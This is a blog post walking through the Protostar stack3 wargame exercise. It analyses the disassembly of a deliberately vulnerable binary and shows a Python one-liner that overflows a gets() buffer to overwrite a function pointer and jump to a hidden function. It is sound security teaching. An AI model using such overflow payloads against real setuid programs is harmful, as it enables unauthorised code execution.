DEV Community

loading...
Cover image for Smashing function pointers with buffer overflow(protostar - stack3)

Smashing function pointers with buffer overflow(protostar - stack3)

hextrace
Writing about software security
・3 min read

Protostar - stack3

In this third exercice of our series, we'll modify call flow of the program. Our goal is to call a hidden function within the program, through a stack based stackoverflow

Static analysis

Let's annotate the objdump output:

08048438 <main>:
 8048438:       55                      push   ebp
 8048439:       89 e5                   mov    ebp,esp
 804843b:       83 e4 f0                and    esp,0xfffffff0
 804843e:       83 ec 60                sub    esp,0x60

 8048441:       c7 44 24 5c 00 00 00    mov    DWORD PTR [esp+0x5c],0x0     ; init local variable to 0
 8048448:       00
 8048449:       8d 44 24 1c             lea    eax,[esp+0x1c]
 804844d:       89 04 24                mov    DWORD PTR [esp],eax
 8048450:       e8 db fe ff ff          call   8048330 <gets@plt>           ; read user input through vulnerable gets()

 8048455:       83 7c 24 5c 00          cmp    DWORD PTR [esp+0x5c],0x0     ; test local cariable against 0
 804845a:       74 1b                   je     8048477 <main+0x3f>          ; if variable is zero, leave the program

 804845c:       b8 60 85 04 08          mov    eax,0x8048560
 8048461:       8b 54 24 5c             mov    edx,DWORD PTR [esp+0x5c]
 8048465:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048469:       89 04 24                mov    DWORD PTR [esp],eax
 804846c:       e8 df fe ff ff          call   8048350 <printf@plt>         ; printf("calling function pointer, jumping to 0x%08x", local_variable)

 8048471:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]
 8048475:       ff d0                   call   eax                          ; call local variable

 8048477:       c9                      leave
 8048478:       c3                      ret
Enter fullscreen mode Exit fullscreen mode

Ok so here we still have a local variable, if it's zero, program quits. Else, we call it, like a function.
Our variable is 4 bytes long, size of a pointer. This should be a function poitner.

The vulnerability here is still in gets which allows buffer overflow to the local function pointer.
By rewriting the function pointer, we'll be able to run the code we want. This is called arbitrary code execution.

Exploitation

root@protostar:/opt/protostar/bin# file stack3
stack3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Enter fullscreen mode Exit fullscreen mode

The binary is not stripped: it contains debug symbols. Those symbols can be function names, arguments, filenames, lines, basically everything usefull to debug the program.
A small tool called nm is very useful to list symbols. Let's have a try:

root@protostar:/opt/protostar/bin# nm stack3
080495a8 d _DYNAMIC
0804967c d _GLOBAL_OFFSET_TABLE_
0804853c R _IO_stdin_used
         w _Jv_RegisterClasses
08049598 d __CTOR_END__
08049594 d __CTOR_LIST__
080495a0 D __DTOR_END__
0804959c d __DTOR_LIST__
08048590 r __FRAME_END__
080495a4 d __JCR_END__
080495a4 d __JCR_LIST__
080496a4 A __bss_start
0804969c D __data_start
080484f0 t __do_global_ctors_aux
080483a0 t __do_global_dtors_aux
080496a0 D __dso_handle
         w __gmon_start__
080484ea T __i686.get_pc_thunk.bx
08049594 d __init_array_end
08049594 d __init_array_start
08048480 T __libc_csu_fini
08048490 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
080496a4 A _edata
080496ac A _end
0804851c T _fini
08048538 R _fp_hw
080482e0 T _init
08048370 T _start
080496a4 b completed.5982
0804969c W data_start
080496a8 b dtor_idx.5984
08048400 t frame_dummy
         U gets@@GLIBC_2.0
08048438 T main
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
08048424 T win
Enter fullscreen mode Exit fullscreen mode

Something similar can be achived with objdump:

root@protostar:/opt/protostar/bin# objdump -t stack3 | grep text
08048370 l    d  .text  00000000              .text
080483a0 l     F .text  00000000              __do_global_dtors_aux
08048400 l     F .text  00000000              frame_dummy
080484f0 l     F .text  00000000              __do_global_ctors_aux
08048480 g     F .text  00000005              __libc_csu_fini
08048370 g     F .text  00000000              _start
08048424 g     F .text  00000014              win
08048490 g     F .text  0000005a              __libc_csu_init
080484ea g     F .text  00000000              .hidden __i686.get_pc_thunk.bx
08048438 g     F .text  00000041              main
Enter fullscreen mode Exit fullscreen mode

In either case, we should observe the win function, located at 0x08048424. Neat!

Let's try the usual buffer overflow payload to which we'll append four bytes to overwrite the local variable:

root@protostar:/opt/protostar/bin# python -c 'print "A" * 64 + "acbd"' | ./stack3
calling function pointer, jumping to 0x64626361
Segmentation fault
Enter fullscreen mode Exit fullscreen mode

Code is jumping to 0x64626361, the adress we wrote as the character sequence acbd.
There is nothing here but this doesn't prevent the program to jumps there. The program is crashing and the operating system handles it by wiping it and signals the user with a "Segmentation fault".

Now let's replace the abcd by our win function address:

root@protostar:/opt/protostar/bin# python -c 'print "A" * 64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Enter fullscreen mode Exit fullscreen mode

Awesome!

Links

Discussion (0)